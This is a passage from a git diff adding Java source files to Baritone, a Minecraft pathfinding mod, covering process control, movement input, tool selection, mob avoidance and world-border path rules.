* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.Baritone; +import baritone.api.event.events.TickEvent; +import baritone.api.event.listener.AbstractGameEventListener; +import baritone.api.pathing.calc.IPathingControlManager; +import baritone.api.pathing.goals.Goal; +import baritone.api.process.IBaritoneProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.behavior.PathingBehavior; +import baritone.pathing.path.PathExecutor; +import net.minecraft.util.math.BlockPos; + +import java.util.*; + +public class PathingControlManager implements IPathingControlManager { + + private final Baritone baritone; + private final HashSet processes; // unGh + private final List active; + private IBaritoneProcess inControlLastTick; + private IBaritoneProcess inControlThisTick; + private PathingCommand command; + + public PathingControlManager(Baritone baritone) { + this.baritone = baritone; + this.processes = new HashSet<>(); + this.active = new ArrayList<>(); + baritone.getGameEventHandler().registerEventListener(new AbstractGameEventListener() { // needs to be after all behavior ticks + @Override + public void onTick(TickEvent event) { + if (event.getType() == TickEvent.Type.IN) { + postTick(); + } + } + }); + } + + @Override + public void registerProcess(IBaritoneProcess process) { + process.onLostControl(); // make sure it's reset + processes.add(process); + } + + public void cancelEverything() { // called by PathingBehavior on TickEvent Type OUT + inControlLastTick = null; + inControlThisTick = null; + command = null; + active.clear(); + for (IBaritoneProcess proc : processes) { + proc.onLostControl(); + if (proc.isActive() && !proc.isTemporary()) { // it's okay only for a temporary thing (like combat pause) to maintain control even if you say to cancel + throw new IllegalStateException(proc.displayName()); + } + } + } + + @Override + public Optional mostRecentInControl() { + return Optional.ofNullable(inControlThisTick); + } + + @Override + public Optional mostRecentCommand() { + return Optional.ofNullable(command); + } + + public void preTick() { + inControlLastTick = inControlThisTick; + inControlThisTick = null; + PathingBehavior p = baritone.getPathingBehavior(); + command = executeProcesses(); + if (command == null) { + p.cancelSegmentIfSafe(); + p.secretInternalSetGoal(null); + return; + } + if (!Objects.equals(inControlThisTick, inControlLastTick) && command.commandType != PathingCommandType.REQUEST_PAUSE && inControlLastTick != null && !inControlLastTick.isTemporary()) { + // if control has changed from a real process to another real process, and the new process wants to do something + p.cancelSegmentIfSafe(); + // get rid of the in progress stuff from the last process + } + switch (command.commandType) { + case REQUEST_PAUSE: + p.requestPause(); + break; + case CANCEL_AND_SET_GOAL: + p.secretInternalSetGoal(command.goal); + p.cancelSegmentIfSafe(); + break; + case FORCE_REVALIDATE_GOAL_AND_PATH: + if (!p.isPathing() && !p.getInProgress().isPresent()) { + p.secretInternalSetGoalAndPath(command); + } + break; + case REVALIDATE_GOAL_AND_PATH: + if (!p.isPathing() && !p.getInProgress().isPresent()) { + p.secretInternalSetGoalAndPath(command); + } + break; + case SET_GOAL_AND_PATH: + // now this i can do + if (command.goal != null) { + baritone.getPathingBehavior().secretInternalSetGoalAndPath(command); + } + break; + default: + throw new IllegalStateException(); + } + } + + private void postTick() { + // if we did this in pretick, it would suck + // we use the time between ticks as calculation time + // therefore, we only cancel and recalculate after the tick for the current path has executed + // "it would suck" means it would actually execute a path every other tick + if (command == null) { + return; + } + PathingBehavior p = baritone.getPathingBehavior(); + switch (command.commandType) { + case FORCE_REVALIDATE_GOAL_AND_PATH: + if (command.goal == null || forceRevalidate(command.goal) || revalidateGoal(command.goal)) { + // pwnage + p.softCancelIfSafe(); + } + p.secretInternalSetGoalAndPath(command); + break; + case REVALIDATE_GOAL_AND_PATH: + if (Baritone.settings().cancelOnGoalInvalidation.value && (command.goal == null || revalidateGoal(command.goal))) { + p.softCancelIfSafe(); + } + p.secretInternalSetGoalAndPath(command); + break; + default: + } + } + + public boolean forceRevalidate(Goal newGoal) { + PathExecutor current = baritone.getPathingBehavior().getCurrent(); + if (current != null) { + if (newGoal.isInGoal(current.getPath().getDest())) { + return false; + } + return !newGoal.equals(current.getPath().getGoal()); + } + return false; + } + + public boolean revalidateGoal(Goal newGoal) { + PathExecutor current = baritone.getPathingBehavior().getCurrent(); + if (current != null) { + Goal intended = current.getPath().getGoal(); + BlockPos end = current.getPath().getDest(); + if (intended.isInGoal(end) && !newGoal.isInGoal(end)) { + // this path used to end in the goal + // but the goal has changed, so there's no reason to continue... + return true; + } + } + return false; + } + + + public PathingCommand executeProcesses() { + for (IBaritoneProcess process : processes) { + if (process.isActive()) { + if (!active.contains(process)) { + // put a newly active process at the very front of the queue + active.add(0, process); + } + } else { + active.remove(process); + } + } + // ties are broken by which was added to the beginning of the list first + active.sort(Comparator.comparingDouble(IBaritoneProcess::priority).reversed()); + + Iterator iterator = active.iterator(); + while (iterator.hasNext()) { + IBaritoneProcess proc = iterator.next(); + + PathingCommand exec = proc.onTick(Objects.equals(proc, inControlLastTick) && baritone.getPathingBehavior().calcFailedLastTick(), baritone.getPathingBehavior().isSafeToCancel()); + if (exec == null) { + if (proc.isActive()) { + throw new IllegalStateException(proc.displayName() + " actively returned null PathingCommand"); + } + // no need to call onLostControl; they are reporting inactive. + } else if (exec.commandType != PathingCommandType.DEFER) { + inControlThisTick = proc; + if (!proc.isTemporary()) { + iterator.forEachRemaining(IBaritoneProcess::onLostControl); + } + return exec; + } + } + return null; + } +} diff --git a/src/baritone/utils/PlayerMovementInput.java b/src/baritone/utils/PlayerMovementInput.java new file mode 100644 index 00000000..57745b92 --- /dev/null +++ b/src/baritone/utils/PlayerMovementInput.java @@ -0,0 +1,59 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.api.utils.input.Input; +import net.minecraft.util.MovementInput; + +public class PlayerMovementInput extends MovementInput { + + private final InputOverrideHandler handler; + + PlayerMovementInput(InputOverrideHandler handler) { + this.handler = handler; + } + + @Override + public void tickMovement(boolean p_225607_1_) { + this.moveStrafe = 0.0F; + this.moveForward = 0.0F; + + this.jump = handler.isInputForcedDown(Input.JUMP); // oppa gangnam style + + if (this.forwardKeyDown = handler.isInputForcedDown(Input.MOVE_FORWARD)) { + this.moveForward++; + } + + if (this.backKeyDown = handler.isInputForcedDown(Input.MOVE_BACK)) { + this.moveForward--; + } + + if (this.leftKeyDown = handler.isInputForcedDown(Input.MOVE_LEFT)) { + this.moveStrafe++; + } + + if (this.rightKeyDown = handler.isInputForcedDown(Input.MOVE_RIGHT)) { + this.moveStrafe--; + } + + if (this.sneaking = handler.isInputForcedDown(Input.SNEAK)) { + this.moveStrafe *= 0.3D; + this.moveForward *= 0.3D; + } + } +} diff --git a/src/baritone/utils/ToolSet.java b/src/baritone/utils/ToolSet.java new file mode 100644 index 00000000..e84c1e9b --- /dev/null +++ b/src/baritone/utils/ToolSet.java @@ -0,0 +1,229 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.Baritone; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.enchantment.EnchantmentHelper; +import net.minecraft.enchantment.Enchantments; +import net.minecraft.item.ItemStack; +import net.minecraft.item.SwordItem; +import net.minecraft.item.TieredItem; +import net.minecraft.potion.Effects; + +import java.util.HashMap; +import java.util.Map; +import java.util.function.Function; + +/** + * A cached list of the best tools on the hotbar for any block + * + * @author Avery, Brady, leijurv + */ +public class ToolSet { + + /** + * A cache mapping a {@link Block} to how long it will take to break + * with this toolset, given the optimum tool is used. + */ + private final Map breakStrengthCache; + + /** + * My buddy leijurv owned me so we have this to not create a new lambda instance. + */ + private final Function backendCalculation; + + private final ClientPlayerEntity player; + + public ToolSet(ClientPlayerEntity player) { + breakStrengthCache = new HashMap<>(); + this.player = player; + + if (Baritone.settings().considerPotionEffects.value) { + double amplifier = potionAmplifier(); + Function amplify = x -> amplifier * x; + backendCalculation = amplify.compose(this::getBestDestructionTime); + } else { + backendCalculation = this::getBestDestructionTime; + } + } + + /** + * Using the best tool on the hotbar, how fast we can mine this block + * + * @param state the blockstate to be mined + * @return the speed of how fast we'll mine it. 1/(time in ticks) + */ + public double getStrVsBlock(BlockState state) { + return breakStrengthCache.computeIfAbsent(state.getBlock(), backendCalculation); + } + + /** + * Evaluate the material cost of a possible tool. The priority matches the + * harvest level order; there is a chance for multiple at the same with modded tools + * but in that case we don't really care. + * + * @param itemStack a possibly empty ItemStack + * @return values from 0 up + */ + private int getMaterialCost(ItemStack itemStack) { + if (itemStack.getItem() instanceof TieredItem) { + TieredItem tool = (TieredItem) itemStack.getItem(); + return tool.getTier().getHarvestLevel(); + } else { + return -1; + } + } + + public boolean hasSilkTouch(ItemStack stack) { + return EnchantmentHelper.getEnchantmentLevel(Enchantments.SILK_TOUCH, stack) > 0; + } + + /** + * Calculate which tool on the hotbar is best for mining, depending on an override setting, + * related to auto tool movement cost, it will either return current selected slot, or the best slot. + * + * @param b the blockstate to be mined + * @return An int containing the index in the tools array that worked best + */ + + public int getBestSlot(Block b, boolean preferSilkTouch) { + return getBestSlot(b, preferSilkTouch, false); + } + + public int getBestSlot(Block b, boolean preferSilkTouch, boolean pathingCalculation) { + + /* + If we actually want know what efficiency our held item has instead of the best one + possible, this lets us make pathing depend on the actual tool to be used (if auto tool is disabled) + */ + if (!Baritone.settings().autoTool.value && pathingCalculation) { + return player.inventory.currentItem; + } + + int best = 0; + double highestSpeed = Double.NEGATIVE_INFINITY; + int lowestCost = Integer.MIN_VALUE; + boolean bestSilkTouch = false; + BlockState blockState = b.getDefaultState(); + for (int i = 0; i < 9; i++) { + ItemStack itemStack = player.inventory.getStackInSlot(i); + if (!Baritone.settings().useSwordToMine.value && itemStack.getItem() instanceof SwordItem) { + continue; + } + + if (Baritone.settings().itemSaver.value && (itemStack.getDamage() + Baritone.settings().itemSaverThreshold.value) >= itemStack.getMaxDamage() && itemStack.getMaxDamage() > 1) { + continue; + } + double speed = calculateSpeedVsBlock(itemStack, blockState); + boolean silkTouch = hasSilkTouch(itemStack); + if (speed > highestSpeed) { + highestSpeed = speed; + best = i; + lowestCost = getMaterialCost(itemStack); + bestSilkTouch = silkTouch; + } else if (speed == highestSpeed) { + int cost = getMaterialCost(itemStack); + if ((cost < lowestCost && (silkTouch || !bestSilkTouch)) || + (preferSilkTouch && !bestSilkTouch && silkTouch)) { + highestSpeed = speed; + best = i; + lowestCost = cost; + bestSilkTouch = silkTouch; + } + } + } + return best; + } + + /** + * Calculate how effectively a block can be destroyed + * + * @param b the blockstate to be mined + * @return A double containing the destruction ticks with the best tool + */ + private double getBestDestructionTime(Block b) { + ItemStack stack = player.inventory.getStackInSlot(getBestSlot(b, false, true)); + return calculateSpeedVsBlock(stack, b.getDefaultState()) * avoidanceMultiplier(b); + } + + private double avoidanceMultiplier(Block b) { + return Baritone.settings().blocksToAvoidBreaking.value.contains(b) ? Baritone.settings().avoidBreakingMultiplier.value : 1; + } + + /** + * Calculates how long would it take to mine the specified block given the best tool + * in this toolset is used. A negative value is returned if the specified block is unbreakable. + * + * @param item the item to mine it with + * @param state the blockstate to be mined + * @return how long it would take in ticks + */ + public static double calculateSpeedVsBlock(ItemStack item, BlockState state) { + float hardness = state.getBlockHardness(null, null); + if (hardness < 0) { + return -1; + } + + float speed = item.getDestroySpeed(state); + if (speed > 1) { + int effLevel = EnchantmentHelper.getEnchantmentLevel(Enchantments.EFFICIENCY, item); + if (effLevel > 0 && !item.isEmpty()) { + speed += effLevel * effLevel + 1; + } + } + + speed /= hardness; + if (!state.getRequiresTool() || (!item.isEmpty() && item.canHarvestBlock(state))) { + return speed / 30; + } else { + return speed / 100; + } + } + + /** + * Calculates any modifier to breaking time based on status effects. + * + * @return a double to scale block breaking speed. + */ + private double potionAmplifier() { + double speed = 1; + if (player.isPotionActive(Effects.HASTE)) { + speed *= 1 + (player.getActivePotionEffect(Effects.HASTE).getAmplifier() + 1) * 0.2; + } + if (player.isPotionActive(Effects.MINING_FATIGUE)) { + switch (player.getActivePotionEffect(Effects.MINING_FATIGUE).getAmplifier()) { + case 0: + speed *= 0.3; + break; + case 1: + speed *= 0.09; + break; + case 2: + speed *= 0.0027; // you might think that 0.09*0.3 = 0.027 so that should be next, that would make too much sense. it's 0.0027. + break; + default: + speed *= 0.00081; + break; + } + } + return speed; + } +} diff --git a/src/baritone/utils/accessor/IBitArray.java b/src/baritone/utils/accessor/IBitArray.java new file mode 100644 index 00000000..2ece2938 --- /dev/null +++ b/src/baritone/utils/accessor/IBitArray.java @@ -0,0 +1,8 @@ +package baritone.utils.accessor; + +public interface IBitArray { + + long getMaxEntryValue(); + + int getBitsPerEntry(); +} diff --git a/src/baritone/utils/accessor/IChunkArray.java b/src/baritone/utils/accessor/IChunkArray.java new file mode 100644 index 00000000..147f6400 --- /dev/null +++ b/src/baritone/utils/accessor/IChunkArray.java @@ -0,0 +1,34 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.accessor; + +import net.minecraft.world.chunk.Chunk; + +import java.util.concurrent.atomic.AtomicReferenceArray; + +public interface IChunkArray { + void copyFrom(IChunkArray other); + + AtomicReferenceArray getChunks(); + + int centerX(); + + int centerZ(); + + int viewDistance(); +} diff --git a/src/baritone/utils/accessor/IChunkProviderClient.java b/src/baritone/utils/accessor/IChunkProviderClient.java new file mode 100644 index 00000000..e5fde40b --- /dev/null +++ b/src/baritone/utils/accessor/IChunkProviderClient.java @@ -0,0 +1,26 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.accessor; + +import it.unimi.dsi.fastutil.longs.Long2ObjectMap; +import net.minecraft.world.chunk.Chunk; + +public interface IChunkProviderClient { + + Long2ObjectMap loadedChunks(); +} diff --git a/src/baritone/utils/accessor/IClientChunkProvider.java b/src/baritone/utils/accessor/IClientChunkProvider.java new file mode 100644 index 00000000..cc7483ab --- /dev/null +++ b/src/baritone/utils/accessor/IClientChunkProvider.java @@ -0,0 +1,26 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.accessor; + +import net.minecraft.client.multiplayer.ClientChunkProvider; + +public interface IClientChunkProvider { + ClientChunkProvider createThreadSafeCopy(); + + IChunkArray extractReferenceArray(); +} diff --git a/src/baritone/utils/accessor/IEntityRenderManager.java b/src/baritone/utils/accessor/IEntityRenderManager.java new file mode 100644 index 00000000..7c5aa210 --- /dev/null +++ b/src/baritone/utils/accessor/IEntityRenderManager.java @@ -0,0 +1,27 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.accessor; + +public interface IEntityRenderManager { + + double renderPosX(); + + double renderPosY(); + + double renderPosZ(); +} diff --git a/src/baritone/utils/accessor/IGuiScreen.java b/src/baritone/utils/accessor/IGuiScreen.java new file mode 100644 index 00000000..90b22d1a --- /dev/null +++ b/src/baritone/utils/accessor/IGuiScreen.java @@ -0,0 +1,25 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.accessor; + +import java.net.URI; + +public interface IGuiScreen { + + void openLinkInvoker(URI url); +} diff --git a/src/baritone/utils/accessor/IPalettedContainer.java b/src/baritone/utils/accessor/IPalettedContainer.java new file mode 100644 index 00000000..93a38cb3 --- /dev/null +++ b/src/baritone/utils/accessor/IPalettedContainer.java @@ -0,0 +1,28 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.accessor; + +import net.minecraft.util.BitArray; +import net.minecraft.util.palette.IPalette; + +public interface IPalettedContainer { + + IPalette getPalette(); + + BitArray getStorage(); +} diff --git a/src/baritone/utils/accessor/IPlayerControllerMP.java b/src/baritone/utils/accessor/IPlayerControllerMP.java new file mode 100644 index 00000000..354b9eef --- /dev/null +++ b/src/baritone/utils/accessor/IPlayerControllerMP.java @@ -0,0 +1,29 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.accessor; + +import net.minecraft.util.math.BlockPos; + +public interface IPlayerControllerMP { + + void setIsHittingBlock(boolean isHittingBlock); + + BlockPos getCurrentBlock(); + + void callSyncCurrentPlayItem(); +} diff --git a/src/baritone/utils/accessor/ISodiumChunkArray.java b/src/baritone/utils/accessor/ISodiumChunkArray.java new file mode 100644 index 00000000..7fcb2572 --- /dev/null +++ b/src/baritone/utils/accessor/ISodiumChunkArray.java @@ -0,0 +1,26 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.accessor; + +import it.unimi.dsi.fastutil.longs.Long2ObjectMap; +import it.unimi.dsi.fastutil.objects.ObjectIterator; + +public interface ISodiumChunkArray extends IChunkArray { + + ObjectIterator> callIterator(); +} diff --git a/src/baritone/utils/pathing/Avoidance.java b/src/baritone/utils/pathing/Avoidance.java new file mode 100644 index 00000000..b9848845 --- /dev/null +++ b/src/baritone/utils/pathing/Avoidance.java @@ -0,0 +1,97 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.pathing; + +import baritone.Baritone; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.IPlayerContext; +import it.unimi.dsi.fastutil.longs.Long2DoubleOpenHashMap; +import net.minecraft.entity.MobEntity; +import net.minecraft.entity.monster.EndermanEntity; +import net.minecraft.entity.monster.SpiderEntity; +import net.minecraft.entity.monster.ZombifiedPiglinEntity; +import net.minecraft.util.math.BlockPos; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +public class Avoidance { + + private final int centerX; + private final int centerY; + private final int centerZ; + private final double coefficient; + private final int radius; + private final int radiusSq; + + public Avoidance(BlockPos center, double coefficient, int radius) { + this(center.getX(), center.getY(), center.getZ(), coefficient, radius); + } + + public Avoidance(int centerX, int centerY, int centerZ, double coefficient, int radius) { + this.centerX = centerX; + this.centerY = centerY; + this.centerZ = centerZ; + this.coefficient = coefficient; + this.radius = radius; + this.radiusSq = radius * radius; + } + + public double coefficient(int x, int y, int z) { + int xDiff = x - centerX; + int yDiff = y - centerY; + int zDiff = z - centerZ; + return xDiff * xDiff + yDiff * yDiff + zDiff * zDiff <= radiusSq ? coefficient : 1.0D; + } + + public static List create(IPlayerContext ctx) { + if (!Baritone.settings().avoidance.value) { + return Collections.emptyList(); + } + List res = new ArrayList<>(); + double mobSpawnerCoeff = Baritone.settings().mobSpawnerAvoidanceCoefficient.value; + double mobCoeff = Baritone.settings().mobAvoidanceCoefficient.value; + if (mobSpawnerCoeff != 1.0D) { + ctx.worldData().getCachedWorld().getLocationsOf("mob_spawner", 1, ctx.playerFeet().x, ctx.playerFeet().z, 2) + .forEach(mobspawner -> res.add(new Avoidance(mobspawner, mobSpawnerCoeff, Baritone.settings().mobSpawnerAvoidanceRadius.value))); + } + if (mobCoeff != 1.0D) { + ctx.entitiesStream() + .filter(entity -> entity instanceof MobEntity) + .filter(entity -> (!(entity instanceof SpiderEntity)) || ctx.player().getBrightness() < 0.5) + .filter(entity -> !(entity instanceof ZombifiedPiglinEntity) || ((ZombifiedPiglinEntity) entity).getRevengeTarget() != null) + .filter(entity -> !(entity instanceof EndermanEntity) || ((EndermanEntity) entity).isScreaming()) + .forEach(entity -> res.add(new Avoidance(entity.getPosition(), mobCoeff, Baritone.settings().mobAvoidanceRadius.value))); + } + return res; + } + + public void applySpherical(Long2DoubleOpenHashMap map) { + for (int x = -radius; x <= radius; x++) { + for (int y = -radius; y <= radius; y++) { + for (int z = -radius; z <= radius; z++) { + if (x * x + y * y + z * z <= radius * radius) { + long hash = BetterBlockPos.longHash(centerX + x, centerY + y, centerZ + z); + map.put(hash, map.get(hash) * coefficient); + } + } + } + } + } +} diff --git a/src/baritone/utils/pathing/BetterWorldBorder.java b/src/baritone/utils/pathing/BetterWorldBorder.java new file mode 100644 index 00000000..9d8f3ef8 --- /dev/null +++ b/src/baritone/utils/pathing/BetterWorldBorder.java @@ -0,0 +1,50 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.pathing; + +import net.minecraft.world.border.WorldBorder; + +/** + * Essentially, a "rule" for the path finder, prevents proposed movements from attempting to venture + * into the world border, and prevents actual movements from placing blocks in the world border. + */ +public class BetterWorldBorder { + + private final double minX; + private final double maxX; + private final double minZ; + private final double maxZ; + + public BetterWorldBorder(WorldBorder border) { + this.minX = border.minX(); + this.maxX = border.maxX(); + this.minZ = border.minZ(); + this.maxZ = border.maxZ(); + } + + public boolean entirelyContains(int x, int z) { + return x + 1 > minX && x < maxX && z + 1 > minZ && z < maxZ; + } + + public boolean canPlaceAt(int x, int z) { + // move it in 1 block on all sides + // because we can't place a block at the very edge against a block outside the border + // it won't let us right click it + return x > minX && x + 1 < maxX && z > minZ && z + 1 < maxZ; + } +} diff --git a/src/baritone/utils/pathing/Favoring.java b/src/baritone/utils/pathing/Favoring.java new file mode 100644 index 00000000..bbc23c7f --- /dev/null +++ b/src/baritone/utils/pathing/Favoring.java @@ -0,0 +1,55 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.pathing; + +import baritone.api.pathing.calc.IPath; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Helper; +import baritone.api.utils.IPlayerContext; +import baritone.pathing.movement.CalculationContext; +import it.unimi.dsi.fastutil.longs.Long2DoubleOpenHashMap; + +public final class Favoring { + + private final Long2DoubleOpenHashMap favorings; + + public Favoring(IPlayerContext ctx, IPath previous, CalculationContext context) { + this(previous, context); + for (Avoidance avoid : Avoidance.create(ctx)) { + avoid.applySpherical(favorings); + } + Helper.HELPER.logDebug("Favoring size: " + favorings.size()); + } + + public Favoring(IPath previous, CalculationContext context) { // create one just from previous path, no mob avoidances + favorings = new Long2DoubleOpenHashMap(); + favorings.defaultReturnValue(1.0D); + double coeff = context.backtrackCostFavoringCoefficient; + if (coeff != 1D && previous != null) { + previous.positions().forEach(pos -> favorings.put(BetterBlockPos.longHash(pos), coeff)); + } + } + + public boolean isEmpty() { + return favorings.isEmpty(); + } + + public double calculate(long hash) { + return favorings.get(hash); + } +} diff --git a/src/baritone/utils/pathing/MutableMoveResult.java b/src/baritone/utils/pathing/MutableMoveResult.java new file mode 100644 index 00000000..17fc6ee2 --- /dev/null +++ b/src/baritone/utils/pathing/MutableMoveResult.java @@ -0,0 +1,44 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.pathing; + +import baritone.api.pathing.movement.ActionCosts; + +/** + * The result of a calculated movement, with destination x, y, z, and the cost of performing the movement + * + * @author leijurv + */ +public final class MutableMoveResult { + + public int x; + public int y; + public int z; + public double cost; + + public MutableMoveResult() { + reset(); + } + + public final void reset() { + x = 0; + y = 0; + z = 0; + cost = ActionCosts.COST_INF; + } +} diff --git a/src/baritone/utils/pathing/PathBase.java b/src/baritone/utils/pathing/PathBase.java new file mode 100644 index 00000000..de10fdf3 --- /dev/null +++ b/src/baritone/utils/pathing/PathBase.java @@ -0,0 +1,58 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.pathing; + +import baritone.Baritone; +import baritone.api.BaritoneAPI; +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.goals.Goal; +import baritone.pathing.path.CutoffPath; +import baritone.utils.BlockStateInterface; +import net.minecraft.util.math.BlockPos; + +public abstract class PathBase implements IPath { + + @Override + public PathBase cutoffAtLoadedChunks(Object bsi0) { // <-- cursed cursed cursed + if (!Baritone.settings().cutoffAtLoadBoundary.value) { + return this; + } + BlockStateInterface bsi = (BlockStateInterface) bsi0; + for (int i = 0; i < positions().size(); i++) { + BlockPos pos = positions().get(i); 